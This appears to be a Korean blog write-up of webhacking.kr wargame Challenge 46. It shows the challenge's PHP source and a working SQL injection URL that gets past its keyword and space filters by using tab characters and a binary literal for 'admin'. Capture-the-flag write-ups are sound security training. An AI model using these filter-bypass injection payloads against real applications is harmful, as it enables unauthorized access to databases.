문제 소스를 보면 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
<?php include "../../config.php" ; if ( $_GET [ 'view_source' ]) view_source(); ?> < html > < head > < title >Challenge 46</ title > </ head > < body > < h1 >SQL INJECTION</ h1 > < form method = get > level : < input name = lv value = 1 >< input type = submit > </ form > < hr >< a href=./? view_source = 1 >view-source</ a >< hr > <?php if ( $_GET [ 'lv' ]){ $db = dbconnect (); $_GET [ 'lv' ] = addslashes ( $_GET [ 'lv' ]); $_GET [ 'lv' ] = str_replace ( " " , "" , $_GET [ 'lv' ]); $_GET [ 'lv' ] = str_replace ( "/" , "" , $_GET [ 'lv' ]); $_GET [ 'lv' ] = str_replace ( "*" , "" , $_GET [ 'lv' ]); $_GET [ 'lv' ] = str_replace ( "%" , "" , $_GET [ 'lv' ]); if (preg_match( "/select|0x|limit|cash/i" , $_GET [ 'lv' ])) exit (); $result = mysqli_fetch_array (mysqli_query( $db , "select id,cash from chall46 where lv=$_GET[lv]" )); if ( $result ){ echo ( "{$result['id']} information<br><br>money : {$result['cash']}" ); if ( $result [ 'id' ] == "admin" ) solve(46); } } ?> </ body > </ html > |
위의 문제에서는 lv에 필터링을 매우 걸어두었습니다.
여기서 0x를 필터링한 건 char() 함수나 0b로 우회하였고, 띄어쓰기는 %09로 우회하였습니다.
https://webhacking.kr/challenge/web-23/?lv=0%09or%09id%3d0b0110000101100100011011010110100101101110
'WARGAMES > webhacking.kr - old' 카테고리의 다른 글
Webhacking.kr_No50(450) - old (0) | 2020.01.15 |
---|---|
Webhacking.kr_No49(300) - old (0) | 2020.01.15 |
Webhacking.kr_No48(350) - old (0) | 2020.01.15 |
Webhacking.kr_No47(150) - old (0) | 2020.01.15 |
Webhacking.kr_No45(550) - old (0) | 2020.01.13 |
Webhacking.kr_No44(250) - old (0) | 2020.01.13 |
Webhacking.kr_No43(250) - old (0) | 2020.01.08 |
Webhacking.kr_No42(200) - old (0) | 2020.01.08 |